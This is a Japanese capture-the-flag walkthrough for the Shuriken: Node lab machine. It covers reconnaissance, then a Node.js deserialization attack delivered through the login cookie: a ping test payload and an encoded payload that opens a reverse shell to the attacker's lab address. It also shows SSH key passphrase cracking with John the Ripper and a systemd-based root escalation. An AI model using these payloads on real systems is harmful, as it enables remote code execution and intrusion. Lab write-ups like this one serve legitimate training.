はじめに
以下よりダウンロードできます。
免責事項
本記事で紹介する内容は、教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけに作成しております。
記載されているコードを実行した場合の損害は一切責任を負いません。
また、ハッキング行為をいかなる稼働環境・サービスに対しても行わないでください。成功しなくても試みること自体が違法行為にあたる場合があります。
上記の内容を十分理解された方のみ本記事をお読みください。
また、本記事の記載内容で、法的または倫理的に問題があると思われる箇所、その他お気づきの点などがございましたら、お手数ですがコメント欄までお知らせください。
SHURIKEN: NODEについて
難易度:易/中
前回の侵入事件後、Shuriken Companyはインフラを移転し再構築することを決定した。今回は異なる技術を使用し、安全性を確保することを保証している。果たしてそうだろうか?そうでないことを証明するのは、あなた方次第です。
私の主な焦点は、マシンを典型的なCTFのような謎解きにするのではなく、少なくとももう少し現実的なものにすることです。結局はカスタムマシンであることを忘れないでください。
このマシンはVirtualBoxでテストされました。
では、またルートでお会いしましょう。
ヒント: 足場固めには、ウェブアプリの背後にある技術と、それがどのようにユーザー入力を処理するのかを理解することが重要です。
これはVMwareではなくVirtualBoxを使った方がうまくいきます
脆弱性診断
調査
legionを用いたportスキャン
22,8080portが空いていることが確認できます。
niktoとnmapによる診断
これといった脆弱性が無いように思われます。
フロント画面
ログイン画面
BurpSuiteによる確認
repeaterによる確認
cookiesが追加された後、304のリダイレクトが起きます。
cookiesを調査
cookiesの誤りを修正とうまくいくようです。
googleで検索したところ以下のpdfに行き当たりました。
pdfの内容をつまみぐいをしながら、やってみたいと思います。
以下のコマンドで、疎通を確認できました。
ただ、相手側にncatが無いようなので、reverse_shellは取れませんでした。
{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c 3 192.168.56.30')}()","isGuest":false,"encoding": "utf-8"}
以下のコードを実行することで、コードを生成し、reverse_shellをとることができました。
{"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,
101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32
,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,
115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,
46,53,54,46,51,48,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,
85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,
114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,
110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,
116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,
105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,
101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,
41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,
40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,
101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,
10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,
44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,
32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,
47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,
119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,
32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,
115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,
117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,
32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,
116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,
44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,
123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,
68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,
32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,
46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,
32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,
59,10))}()","isGuest":false,"encoding": "utf-8"}
ユーザの昇格
/var/backups配下にssh-buckup.zipがあります。
/tmpにコピーをして、unnzipを行います。
id_rsaの中身は以下の通りです。
kali上で以下のコマンドを実行し、 秘密鍵のパスフレーズの特定を行います。
python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
ssh接続に成功しました。
1つ目のflagを発見しました。
ROOT権限昇格
shuriken-auto.timerとは何か調べてみましょう。
どうやら、shuriken-job.serviceを起動するためのもののようです。
shuriken-job.serviceを以下のように書き換えます。
ROOT権限とflag.txtを獲得することができました。
↧